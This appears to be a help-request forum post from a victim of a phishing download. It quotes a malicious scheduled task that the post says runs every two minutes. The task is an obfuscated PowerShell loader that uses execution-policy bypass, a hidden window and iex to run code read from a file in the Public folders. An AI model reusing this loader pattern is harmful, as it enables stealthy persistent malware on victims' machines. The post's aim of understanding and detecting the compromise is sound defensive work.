Undetected Trojan: what type of Scheduled task is this?

on a computer I received an email with a web link inside that shows the following address:

hxxps://myprimeedu.com/certificato/f0uq1-17relk-aW5mb2NlcmJvbmVhbGx1bWluaW9AcGVjLml0-y8ym71-wowuq-2rpvmx/MDY0OTE3NzQ2MDIzMDM= 

(EDIT: Link neutered)

From this address (with the Chrome browser) a .zip file is downloaded which contains two files inside: a pdf file and an exe file that creates a Scheduled Task.

The antivirus (Bitdefender) has not identified any threats. With a subsequent analysis using VirusTotal the .zip file has been identified as “Trojan, Suspicious link or Link Drop” from only 7 AV engines.

The individual files, on the other hand, are not detected by any engine (but there is one detection from the community).

The user has clicked on the PDF file that has created a scheduled task.

The scheduled Task created has this format:

C:\Windows\system32\cmd.exe /c pow%tmp:~5,3%hell /ep bypass /win 1 /c "&{cd %public:~-15,9%;$  y=ls -force -r -in comu*.*|select -last 1;$  y=gc -LiteralPath $  y|select -last 1;iex $  y}" 

The task is programmed to run every 2 minutes. What is shown, on this computer, is a quick and empty pop up of the command prompt window.

I can’t understand the intent of this Scheduled Task.

Can you help me to figure out?

How can I detect the type of compromise I had on this computer?

Thanks in advance.